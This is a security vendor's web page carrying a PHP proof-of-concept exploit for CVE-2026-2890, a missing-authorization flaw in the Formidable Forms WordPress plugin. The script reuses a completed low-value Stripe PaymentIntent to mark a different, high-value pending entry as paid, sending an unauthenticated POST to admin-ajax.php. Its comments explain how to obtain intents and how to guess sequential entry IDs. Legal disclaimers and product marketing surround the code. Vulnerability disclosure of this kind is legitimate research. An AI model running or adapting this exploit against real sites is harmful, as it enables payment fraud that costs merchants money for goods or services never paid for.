Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2890 - Formidable Forms <= 6.28 - Missing Authorization to Unauthenticated Payment Integrity Bypass via PaymentIntent Reuse
<?php

$target_url = 'https://vulnerable-site.com';

// Step 1: Attacker obtains a completed low-value PaymentIntent (e.g., $1) from a legitimate transaction.
// This could be intercepted via MITM, leaked logs, or by making a test purchase.
$stripe_payment_intent_id = 'pi_1234567890_lowvalue';
$stripe_client_secret = 'pi_1234567890_secret_abcdef';

// Step 2: Identify a high-value pending payment entry ID.
// This could be enumerated or guessed. Often entry IDs are sequential.
$target_payment_entry_id = 123;

// Step 3: Craft the exploit request to the vulnerable AJAX endpoint.
// The endpoint does not require authentication or a nonce.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$post_data = array(
    'action' => 'frm_stripe_link_return',
    'payment_intent' => $stripe_payment_intent_id,
    'payment_intent_client_secret' => $stripe_client_secret,
    'entry_id' => $target_payment_entry_id // This ties the reused intent to a different, higher-value payment.
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only

// Step 4: Send the request. A successful response will mark the high-value payment as complete.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A response containing 'success' or redirect parameters indicates likely success.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School